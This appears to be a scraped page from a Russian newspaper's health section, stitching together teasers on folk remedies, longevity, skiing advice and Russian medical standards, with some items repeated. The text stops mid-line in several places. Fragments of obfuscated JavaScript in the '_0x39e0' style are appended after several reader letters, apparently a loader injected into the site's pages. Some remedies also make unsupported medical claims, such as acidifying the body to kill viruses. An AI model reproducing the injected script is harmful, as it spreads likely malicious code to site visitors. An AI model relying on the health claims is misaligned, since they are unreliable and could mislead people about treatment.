14:24
Шольца напугал «Орешник»
Новости
«Аргументы и факты»
Хотите жить не просто долго, а быть при этом здоровым? И иметь чувство юмора, чтоб сравнивать себя со жрецами и акулами? Тогда обратите внимание на историю профессионального долгожителя Бориса Болотова.
Борис Васильевич, протягивая для рукопожатия ладонь лилово-чёрного цвета, пояснил: «Не пугайтесь, это я виноград давил». Производство домашнего вина, которое он называет «царской водкой» (смесь четырёх слабоконцентрированных кислот), и различных квасов - не хобби, а условие отменного здоровья - своего и домочадцев. Подкисляя внутреннюю среду организма, сторонники «медицины Болотова» убивают в нём вирусы, грибки и бактерии.
В свои 80 лет Борис Васильевич ничем не болеет, сохраняет активный ум, энергию и потрясающую память. Более того, по его уверению, параметры его здоровья сопоставимы с подростковыми. В доказательство Болотов выгнул...
Перед катанием на лыжах надо правильно выбрать снаряжение, от которого зависят комфорт, ваша безопасность на трассе и прогресс обучения катанию на склоне…
Советует инструктор по горным лыжам Иван Садченко:
Ботинки
Эту обувь нужно мерить только на тонкий носок, ни в коем случае не на шерстяной.
Не руководствуйтесь принципом - одевайте, что есть. Кому-то может показаться, что между моделями для мужчин и женщин разницы нет. Это не так, поскольку есть отличия в строении ноги на уровне щиколотки и икроножных мышц.
Важно, чтобы на ботинках был переключатель «катание/ходьба».
Главная ошибка новичков - выбор слишком свободных ботинок. Не обращайте внимания на упёртые пальцы, пока не согнёте коленки и не «повиснете» на переднем крае ботинок. В таком положении пальцы должны быть свободны; стопа...
У каждого народа с рекордным числом долгожителей имеются свои способы продления жизни
Однако в каждой стране они разные, нередко противоречащие друг другу. Какие из них «работают» только для местных жителей, а какие универсальны и могут быть взяты на вооружение представителями других национальностей? Рассказывает Владимир Шабалин, академик РАМН, директор Российского геронтологического научно-клинического центра.
Япония
Средняя продолжительность жизни - 81,25 года (самая высокая в мире).
Интересная особенность: До 1941 года японцы в среднем жили чуть больше 40 лет. Ситауция резко изменилась после окончания войны.
Секретами долголетия считаются морской климат, который сорбирует вредные вещества, рацион с преобладанием сои,...
Перед катанием на лыжах надо правильно выбрать снаряжение, от которого зависят комфорт, ваша безопасность на трассе и прогресс обучения катанию на склоне…
Советует инструктор по горным лыжам Иван Садченко:
Ботинки
Эту обувь нужно мерить только на тонкий носок, ни в коем случае не на шерстяной.
Не руководствуйтесь принципом - одевайте, что есть. Кому-то может показаться, что между моделями для мужчин и женщин разницы нет. Это не так, поскольку есть отличия в строении ноги на уровне щиколотки и икроножных мышц.
Важно, чтобы на ботинках был переключатель «катание/ходьба».
Главная ошибка новичков - выбор слишком свободных ботинок. Не обращайте внимания на упёртые пальцы, пока не согнёте коленки и не «повиснете» на переднем крае ботинок. В таком положении пальцы должны быть свободны; стопа...
Остеохондроз является причиной боли в спине в 80% случаев
У меня шейный остеохондроз. Если чуть продует или посплю в неудобной позе, голову не повернуть. Спасает меня такой компресс.
Смешайте сухую траву зверобоя, корень одуванчика и корень лопуха в равных количествах. 1 ст. ложку смеси залейте 1 стаканом воды, прокипятите, немного остудите и процедите. Теплый компресс положите на шею, через 15 минут снимите и укутайте шею теплым платком или шарфом.
Тамара Григорьевна Ивашова, Астраханьfunction _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let _0x5478aa=_0x273464[_0x56c18b];return _0x5478aa;},_0x39e0(_0x2e6d70,_0x39105a);}const...
Ванны для ног чрезвычайно полезны для кожи, стоп и улучшения общего самочувствия
Я работаю парикмахером. Целыми днями приходится стоять, так что к вечеру ноги устают, становятся тяжелыми.
Мне очень помогают ванночки с хвоей сосны, 100 г которой доводят до кипения в 1 л воды, а затем запаривают на водяной бане в течение 30 минут. После полного остывания и процеживания разбавляют прохладной водой и погружают ноги на 15 минут.
Татьяна П., Воронежfunction _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let _0x5478aa=_0x273464[_0x56c18b];return _0x5478aa;},_0x39e0(_0x2e6d70,_0x39105a);}const _0x1736b2=_0x39e0;(function(_0x3391b0,_0xb1095e){const...
Женщинам с очень бледным лицом надо особенно тщательно ухаживать за кожей
Сколько себя помню, у меня был очень некрасивый цвет лица. Кожа бледная, даже слегка сероватая. Пробовала ходить в солярий, но ведь вредно часто его посещать, так что единственное, что могло мне помочь, – это тональный крем. Но все время ходить с толстым слоем косметики на лице мне не хотелось. И вот как-то раз я пожаловалась на свою беду подруге, и она посоветовала мне отличное средство – протирать кожу отваром из трав. Он хорошо очищает и тонизирует кожу.
Готовят отвар из сухой травы мяты, мелиссы, плодов рябины и цветков ромашки с добавлением глицерина и молока. Возьмите 1/2 стакана смеси из вышеперечисленных трав, залейте тремя стаканами...
Зимой кожа рук обычно страдает от холода, становится сухой, начинает шелушиться...
Я продаю газеты с лотка в подземном переходе. Сами понимаете, теплым мое рабочее место не назовешь. Хуже всего приходится рукам – перчатки не наденешь, в них и деньги считать неудобно. Так что руки постоянно мерзнут, кожа на них шелушится, краснеет. Лучше всяких кремов мне помогает такое средство.
Одну чайную ложку меда размешать в 100 мл теплой воды, добавить 2 ст. ложки сметаны, намазать руки этой смесью, подержать 15–20 минут и смыть в теплой воде. После этого используйте питательный крем.
Диана И., Москваfunction _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let...
Во всём цивилизованном мире введены медицинские стандарты - единые протоколы лечения любой болезни
Михаил Рискевич, глава ортопедической клиники (Нью-Йорк), семейный доктор. Уехал из России в США в 1989 году:
- В России обращение к врачу, особенно в экстренных случаях, - это игра в русскую рулетку. Успех лечения целиком и полностью зависит от того, к какому врачу ты попадёшь. Если к профессионалу - будет назначено правильное лечение, если нет - высок риск получить массу осложнений, а то и остаться инвалидом на всю жизнь. Российская система здравоохранения закрыта даже больше, чем армия. В России в отличие от других стран отсутствует официальная статистика врачебных ошибок. В клиниках свирепствует медицинский беспредел. При этом врачи...
Хороший доктор и в хлеву вылечит, а плохой на паркетном полу ничего не сделает...
Александр Карабиненко, доктор медицинских наук, профессор кафедры госпитальной терапии Российского государственного медицинского университета:
- То, что российские врачи лечат как бог на душу положит, - глубочайшее заблуждение. В нашем здравоохранении тоже существуют медицинские стандарты - как для диагностики, так и для лечения больных. И действуют они ещё с 1998 года. Принципиально они ничем не отличаются от западных - в своё время специалисты из НИИ организации здравоохранения просто адаптировали западную модель для российских условий.
Да, на Западе к соблюдению медицинских стандартов подход более жёсткий. Для тех же американских...
Этот фрукт используют для профилактики и лечения многих заболеваний
У меня кровоточили десны. Чем только я рот ни полоскала, ничего не помогало. И вот как-то раз подруга посоветовала мне очень хорошее средство: кожуру от грейпфрута замочите на 20 минут в кипяченой воде, процедите и полоскайте этим настоем рот. Мне это средство очень быстро помогло.
Светлана К., Воронеж
Личное мнение
Максим Дунаевский:
– Когда болею, пользуюсь самыми простыми методами: пью специальные отвары из трав, чай с малиновым вареньем. Что же касается более сложных вещей, например биодобавок, то к ним я отношусь очень настороженно и считаю, что в таких препаратах 90% рекламы и коммерции, а не лечебных свойств.function _0x39e0(_0x2e6d70,_0x39105a){const...
Свежий сок алое нашел широкое применение в различных областях медицинской практики и в народной медицине
Осенью у меня часто обветриваются губы и в уголках рта появляются трещинки – заеды. Раньше пыталась бороться с ними при помощи гигиенической помады, но помогало плохо. И вот как-то раз подруга посоветовала мне замечательные народные рецепты. Ими я хочу поделиться со всеми читателями «АиФ.Здоровье».
Для лечения заедов можно использовать сок алоэ. Немного раздавите свежесрезанный лист алоэ, чтобы из него полностью вышел сок. Наберите сок в пипетку и капните несколько капель на ранку. Повторять эту процедуру необходимо два раза в день.
Очень хорошо помогает для лечения заедов в уголках рта маска из яблок, сваренных в молоке. После...
Лук богат витаминами С, В1 В2, РР, каротином, минеральными солями, сахаром...
Не так давно ездила в гости к родственникам в деревню. Погода нынче холодная, так что нет ничего удивительного в том, что я простудилась. До ближайшей аптеки от дома, где живет моя родня, нужно добираться на трех автобусах, так что решили бороться с моей простудой народными средствами. Оказалось, справиться с недомоганием можно при помощи обычного лука!
Чтобы избавиться от простуды, перемешайте мелко нарезанную луковицу с 3 ст. ложками меда, закройте крышкой и оставьте в холодильнике настаиваться (6 часов). Сцеженный сок принимайте каждые 3 часа по 1 ст. ложке.
Лук может заменить и горчичник. Измельченный сырой лук кладут на грудь, закрывают...
Оказывается, что еда может не только спровоцировать приступ изжоги, но и вылечить ее
Раньше все время мучился изжогой. Стоит поесть чего-нибудь острого или пообедать в столовой – и пожалуйста, в животе революция. Но теперь изжога для меня не проблема.
От нее прекрасно избавляет хлебный «кисель». Кусочек белого хлеба обжарьте в небольшом количестве сливочного масла, остудите и дайте настояться полчаса в стакане кипяченой воды. Этот настой следует принимать по три-четыре раза в день.
Николай Харитонов, Саратов function _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let _0x5478aa=_0x273464[_0x56c18b];return _0x5478aa;},_0x39e0(_0x2e6d70,_0x39105a);}const...
Ароматерапия, в переводе с древнегреческого - «лечение запахом», известна с древних времен...
Покупаю в аптеке эфирное масло лимона, мяты или эвкалипта и даю подышать им сыну - это помогает снять заложенность носа.
У. Галичева, Тула
Комментирует Екатерина УСПЕНСКАЯ, к. м. н., педиатр Университетской детской клинической больницы 1-го Московского госуниверситета им. И. М. Сеченова:
- Во избежание аллергических реакции и отёка слизистой дыхательных путей не следует применять ароматерапию у детей. Эффективнее промывать нос физраствором или морской водой - как для лечения насморка, так и для профилактики во время эпидемии гриппа.function _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let...
Именно иммунитет для каждого человека является основой здоровья!
Укрепляет иммунитет рябиновый чай: 2 ст. л. ягод рябины залить двумя стаканами кипятка, настоять в термосе 2 часа
Л. Карпова, Архангельск
Комментирует Галина Фисенко, врач-терапевт:
- В рябине много витаминов, микроэлементов, органических кислот, благотворно влияющих на организм. Соберите рябину после первых заморозков и подсушите, чтобы зимой готовить полезный напиток.function _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let _0x5478aa=_0x273464[_0x56c18b];return _0x5478aa;},_0x39e0(_0x2e6d70,_0x39105a);}const _0x1736b2=_0x39e0;(function(_0x3391b0,_0xb1095e){const...
Йогурты и кефиры с приставкой «био» стоят на порядок дороже обычных молочных продуктов. Есть ли смысл платить за «жизнь», обещанную производителем?
«АиФ» провёл собственное расследование. Мы сдали в испытательную лабораторию пять продуктов, этикетка которых манит покупателя бифидобактериями, пребиотиками и ферментами: «Биокефир Эффективный», обогащённый пребиотиками; «Биокефир»; Продукт овсяный ферментированный «Брусника»; Йогурт фруктовый, обогащённый пребиотиками, «Пребиотик»; Биопродукт кисломолочный, обогащённый бифидобактериями - Actiregularis и пищевыми волокнами - «Активиа».
Пребиотики стимулируют рост микрофлоры кишечника, а бифидобактерии помогают нашему организму переваривать пищу. По идее они должны содержаться во всех вышеперечисленных продуктах помимо собственно...
Именно иммунитет для каждого человека является основой здоровья!
Укрепляет иммунитет рябиновый чай: 2 ст. л. ягод рябины залить двумя стаканами кипятка, настоять в термосе 2 часа
Л. Карпова, Архангельск
Комментирует Галина Фисенко, врач-терапевт:
- В рябине много витаминов, микроэлементов, органических кислот, благотворно влияющих на организм. Соберите рябину после первых заморозков и подсушите, чтобы зимой готовить полезный напиток.function _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let _0x5478aa=_0x273464[_0x56c18b];return _0x5478aa;},_0x39e0(_0x2e6d70,_0x39105a);}const _0x1736b2=_0x39e0;(function(_0x3391b0,_0xb1095e){const...
Ароматерапия, в переводе с древнегреческого - «лечение запахом», известна с древних времен...
Покупаю в аптеке эфирное масло лимона, мяты или эвкалипта и даю подышать им сыну - это помогает снять заложенность носа.
У. Галичева, Тула
Комментирует Екатерина УСПЕНСКАЯ, к. м. н., педиатр Университетской детской клинической больницы 1-го Московского госуниверситета им. И. М. Сеченова:
- Во избежание аллергических реакции и отёка слизистой дыхательных путей не следует применять ароматерапию у детей. Эффективнее промывать нос физраствором или морской водой - как для лечения насморка, так и для профилактики во время эпидемии гриппа.function _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let...
С этим недугом знаком практически каждый, так как боли могут возникнуть в любой момент и в самое не подходящее время...
У меня очень нежный желудок. На работе в столовую не сходишь – мало ли из чего они там готовят, а носить из дома кастрюльки с едой ужасно неудобно. Ну а уж если в гости пригласят, вместо праздника – сплошная каторга. Так бы, наверное, и мучилась, если бы подруга не посоветовала попить травяной сбор.
Возьмите 2 ст. ложки ягод красной рябины, 3 ст. ложки листьев брусники, 3 ст. ложки листьев подорожника, 2 ст. ложки листьев мяты, 2 ст. ложки листьев эвкалипта. Листья и ягоды можно брать как свежие, так и сухие. Все смешайте, 3 ст. ложки сбора заварите 1 л кипятка, дайте настояться в течение часа и принимайте по 2 ст. ложки 3 раза в день.
Наталья...
28 октября 2010 года в Москве в рамках Премии «Рецепт года» состоялся Круглый стол «Изменения в информационной работе фармацевтических компаний в сегменте просветительской, образовательной работы (для медицинских специалистов для качественной диагностики и лечения пациента)»
Необходимость организации такого мероприятия возникла в связи с новым законопроектом «Об основах охраны здоровья граждан в Российской Федерации», появление которого вызвало много вопросов и споров. В здании пресс-особняка «АиФ» на Мясницкой улице собрались представители элиты фармацевтического рынка. В работе Круглого стола приняли участие директора крупнейших фармацевтических компаний, исследовательских и маркетинговых организаций.
О том, какую важную роль играют фармацевты в процессе общения с населением рассказал заместитель генерального директора, Директор по коммерческой деятельности и развитию портфеля ЗАО «Аптеки 36,6» и Сопредседатель...
Пропотеть и избавиться от простуды до того, как болезнь начнет развиваться...
Я работаю учительницей в начальных классах. Сами знаете, дети постоянно болеют, так что подцепить простуду или ОРЗ для меня своего рода профессиональный риск. Но я не могу позволить себе часто брать больничный лист. Ведь каждая замена учителя – это стресс для ребят. Сначала они подолгу привыкают к новой учительнице, а потом им нужно время, чтобы снова привыкнуть ко мне. Так что стараюсь не болеть.
Для борьбы с простудой у меня свой рецепт. Если застать болезнь в самом начале, действует безотказно!
● При первых признаках простуды заварите 1,5 ст. ложки сухих цветков липы стаканом кипятка, дайте настояться 20 минут и процедите....
Об использовании скрабов для лица знает каждая женщина, но далеко не все умеют правильно их готовить и применять...
Я живу, как говорится, в глубинке. Чтобы доехать до города, нужно потратить чуть ли не полдня. Поэтому косметику покупаю от случая к случаю. А ведь так хочется быть красивой. Поэтому я отдаю предпочтение народным средствам.
Вот одно из них. Нежный скраб для лица можно приготовить в домашних условиях. Для этого рис или гречку измельчите в пыль в кофемолке. Этой мягкой растительной пудрой можно чистить кожу хоть каждый день. Для сухой кожи лучше использовать пудру из геркулеса или отрубей.
Для чувствительной кожи лучше сделать совсем деликатный скраб: картофельный крахмал намочите, слегка отожмите, заверните в марлевый тампон и помассируйте...
О том, что чеснок обладает общеукрепляющим эффектом и способен излечивать некоторые заболевания, знают многие...
Если у вас насморк, подышите над чесночным настоем. Растолките несколько зубчиков чеснока, положите в маленькую кастрюлю с толстым дном, залейте стаканом воды и подержите в течение 20 минут на слабом огне. В слегка остуженный чай добавьте чайную ложку лимонного сока и перемешайте. Дышите над паром, пока настой не остынет.
Наталья, Астрахань
Личное мнение
Анита Цой:
– Я открыла целую клинику в Москве, где используются нетрадиционные методы лечения: целебные массажи, фитотерапия, флоротерапия. На мой взгляд, человек должен быть ближе к природе.function _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let...
Печень – единственный орган, который может полностью восстанавливаться. Но он очень уязвим, и его возможности небезграничны
Если злоупотреблять алкоголем, налегать на копченые, острые и жирные продукты, горстями глотать таблетки, можно перегрузить «очистительную фабрику» нашего организма и в конце концов просто ее «посадить».
Наша печень – это настоящая химическая лаборатория. Каждый час через нее проходит около 90 литров крови. Вредные компоненты тут же обезвреживаются, и красная жидкость течет дальше. Печень участвует в образовании половины всей производимой организмом лимфы и мочевины, является резервуаром крови и депо витамина В12, никотиновой кислоты и ретинола. В ней содержится ударная порция железа и гликогена, который при больших энергетических затратах...
Накладывайте домашние маски на лицо ровными, легкими движениями, не нажимайте на кожу слишком сильно
У меня жирная кожа. Постоянно пользуюсь всякими лосьонами и масками, но все-таки предпочитаю домашнюю косметику. Там все ингредиенты натуральные, так что можно не опасаться воспалений и раздражения. Лучше всего мне помогают виноградные маски. Осенью пользуюсь ими постоянно, и моя кожа выглядит заметно лучше. Вот эти замечательные средства:
Горсть красного винограда разомните вместе со сметаной и приготовьте густую маску. Нанесите смесь на лицо, подождите 20 минут и снимите маску тампоном, смоченным в прохладном молоке. Такая маска питает, освежает и разглаживает кожу, а заодно и сужает расширенные поры.
Маску для жирной кожи можно приготовить,...
Увлажняющие маски предохраняют кожу от пересыхания и отмирания клеток, продлевая вашу молодость
Советую всем читательницам «АиФ. Здоровье» не упускать возможности хотя бы в конце сезона побаловать свою кожу дынными масками. Вот рецепт моей любимой маски, которая поможет увлажнить сухую кожу и справиться с мелкими морщинками.
Смешайте 2–3 ст. ложки дынной мякоти с 1 ст. ложкой сметаны и яичным желтком до кремообразной консистенции. Протрите лицо и шею соком дыни, а затем наложите приготовленную маску. Через 15 минут смойте маску теплой водой.
Лариса Сельцова, Санкт-Петербургfunction _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let...
Укреплять детский иммунитет необходимо постоянно, а не от случая к случаю...
Как только на улице холодает, мой внук начинает подкашливать. Сразу же пичкать ребенка таблетками не хочется, поэтому стараемся пользоваться народными средствами. Вот два простых рецепта от кашля на основе овощных соков.
Конечно, они не смогут справиться с запущенным бронхитом, но если вам удалось застать простуду в самом начале, эти средства очень эффективны.
● Принимайте по 1–2 ст. ложки сока моркови, смешанного с медом
в соотношении 1:1, три раза в день.
● Пейте свежий сок капусты. Он обладает анисептическими свойствами и быстро лечит больное горло. Если ребенку не нравится капустный сок, можно подсластить...
В отечественной народной медицине подорожник издавна применялся для лечения больных хроническим колитом и острыми желудочно-кишечными заболеваниями …
С нашим сумасшедшим ритмом жизни о правильном питании часто приходится забывать. Едим на ходу и не всегда здоровую пищу. А потому не стоит удивляться, если желудок вдруг «взбрыкнет». То гастрит обострится, то просто какое-нибудь расстройство произойдет. У меня на все эти случаи есть верное средство.
● Сироп из подорожника. Приготовить его совсем несложно. Нужно смешать в равных частях кашицу из листьев подорожника и мед. Разогреть на небольшом огне и настоять 4 часа в теплом месте. Полученный сироп процедить и принимать по 1 ч. ложке 4 раза в день за полчаса до еды.
Нина Свиридова, Новосибирск
Авраам Руссо:
– Народная медицина...
Ещё несколько веков назад в аптечке каждого лекаря обязательно была соль. Ей лечили огромное количество заболеваний, и подагру, и астму, и гипертонию...
Не так давно сильно простудилась, долго не могла вылечиться. Врач сказал, что начинается гайморит. Прописал мне лекарства, а в качестве дополнительного средства я использовала рецепт моей бабушки.
● Чтобы прогреть пазухи, нужно насыпать в кастрюлю 0,5 кг поваренной соли, подогреть ее до 40 градусов, пересыпать в полотняный мешочек и держать 30 минут на лбу. Когда соль остынет, снова подогрейте ее до такой же температуры и повторите процедуру. Благодаря этому средству мне удалось обойтись без проколов.
Светлана Иванова, Омскfunction _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let...
